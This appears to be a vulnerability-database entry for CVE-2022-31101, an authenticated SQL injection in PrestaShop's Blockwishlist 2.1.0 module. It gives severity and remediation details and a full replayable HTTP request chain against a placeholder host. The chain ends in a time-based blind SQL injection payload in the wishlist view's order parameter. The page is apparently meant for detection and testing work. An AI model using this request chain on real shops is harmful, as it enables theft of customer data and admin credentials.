🔙 목록으로 돌아가기

CVE-2022-31101: Prestashop Blockwishlist 2.1.0 SQL Injection

Title	Prestashop Blockwishlist 2.1.0 SQL Injection
Author	mastercho
Severity	High
Impact	Authenticated attackers can exploit SQL injection in the Blockwishlist module to extract sensitive database information including customer details, order data, and admin credentials from the PrestaShop database.
Remediation	Update Prestashop Blockwishlist module to a version newer than 2.1.0 that properly sanitizes user input and uses parameterized queries.
CVSS Score	8.1
EPSS Score	0.51662
CVE ID	CVE-2022-31101
CWE ID	CWE-89
Tags	packetstorm cve cve2022 prestashop prestashop-module sqli intrusive

🔍 Vulnerability Description

Prestashop Blockwishlist module version 2.1.0 suffers from a remote authenticated SQL injection vulnerability.

🌐 HTTP Request

GET /modules/blockwishlist/config.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

POST /en/login?create_account=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

id_gender=1&firstname=zmjc&lastname=xhdz&email=yTlaBh@LczLK.com&password=C53Xffdn&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1

POST /login?create_account=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

id_gender=1&firstname=zmjc&lastname=xhdz&email=yTlaBh@LczLK.com&password=C53Xffdn&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1

POST /fr/login?create_account=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

id_gender=1&firstname=zmjc&lastname=xhdz&email=yTlaBh@LczLK.com&password=C53Xffdn&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1

POST /pl/login?create_account=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

id_gender=1&firstname=zmjc&lastname=xhdz&email=yTlaBh@LczLK.com&password=C53Xffdn&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1

POST /es/login?create_account=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

id_gender=1&firstname=zmjc&lastname=xhdz&email=yTlaBh@LczLK.com&password=C53Xffdn&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1

POST /de/login?create_account=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Safari/605.1.15
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

id_gender=1&firstname=zmjc&lastname=xhdz&email=yTlaBh@LczLK.com&password=C53Xffdn&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1

GET /module/blockwishlist/action?action=getAllWishlist HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

GET /module/blockwishlist/action?action=createNewWishlist&params[name]=123 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

GET /module/blockwishlist/action?action=getAllWishlist HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

POST /module/blockwishlist/action?action=addProductToWishlist&params[id_product]=BLnJBo&params[idWishList]=2hFMoe&params[quantity]=1&params[id_product_attribute]=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Connection: close
Transfer-Encoding: chunked
Accept-Encoding: gzip

0

GET /module/blockwishlist/view?id_wishlist=2hFMoe&order=p.name,%20(select%20case%20when%20(1=1)%20then%20(SELECT%20SLEEP(7))%20else%201%20end);%20--%20.asc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16
Connection: close
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31101.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-31101.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A